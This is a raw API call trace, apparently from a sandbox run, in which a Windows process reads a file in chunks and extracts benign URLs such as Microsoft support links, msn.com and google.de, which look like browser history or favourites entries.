[0079.655] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
[0079.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.655] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.655] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer"
[0079.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/en-us/products/internet-explorer") returned 63
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.655] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 1
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.655] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.655] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480
[0079.655] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.656] _strlwr (in: _Str="https://support.microsoft.com/products/internet-explorer" | out: _Str="https://support.microsoft.com/products/internet-explorer") returned="https://support.microsoft.com/products/internet-explorer"
[0079.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/products/internet-explorer") returned 57
[0079.656] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580
[0079.656] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.656] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.656] SetFilePointer (in: hFile=0xa0, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580
[0079.656] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.656] _strlwr (in: _Str="https://support.microsoft.com/en-us/products/internet-explorer" | out: _Str="https://support.microsoft.com/en-us/products/internet-explorer") returned="https://support.microsoft.com/en-us/products/internet-explorer"
[0079.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://support.microsoft.com/en-us/products/internet-explorer") returned 63
[0079.656] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680
[0079.656] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.656] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.656] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680
[0079.656] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.658] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
[0079.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32
[0079.658] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780
[0079.658] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.658] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.659] _strlwr (in: _Str="http://www.iegallery.com/en/addons/" | out: _Str="http://www.iegallery.com/en/addons/") returned="http://www.iegallery.com/en/addons/"
[0079.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://www.iegallery.com/en/addons/") returned 36
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.659] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.659] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
[0079.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.659] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.659] _strlwr (in: _Str="https://www.microsoft.com/en-us/iegallery" | out: _Str="https://www.microsoft.com/en-us/iegallery") returned="https://www.microsoft.com/en-us/iegallery"
[0079.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="https://www.microsoft.com/en-us/iegallery") returned 42
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.659] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.659] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80
[0079.659] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.660] _strlwr (in: _Str="http://go.microsoft.com/fwlink/" | out: _Str="http://go.microsoft.com/fwlink/") returned="http://go.microsoft.com/fwlink/"
[0079.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://go.microsoft.com/fwlink/") returned 32
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.660] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x180, lpOverlapped=0x0) returned 1
[0079.660] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
[0079.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://www.msn.com/de-de/") returned 26
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.660] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.660] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.660] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.660] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80
[0079.660] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.661] _strlwr (in: _Str="http://www.google.de/" | out: _Str="http://www.google.de/") returned="http://www.google.de/"
[0079.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://www.google.de/") returned 22
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 1
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.661] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.661] SetFilePointer (in: hFile=0xa0, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180
[0079.661] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x180, lpOverlapped=0x0) returned 1
[0079.661] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
[0079.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://www.msn.com/de-de/") returned 26
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.662] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.662] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.662] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980
[0079.663] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.663] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.663] SetFilePointer (in: hFile=0xa0, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
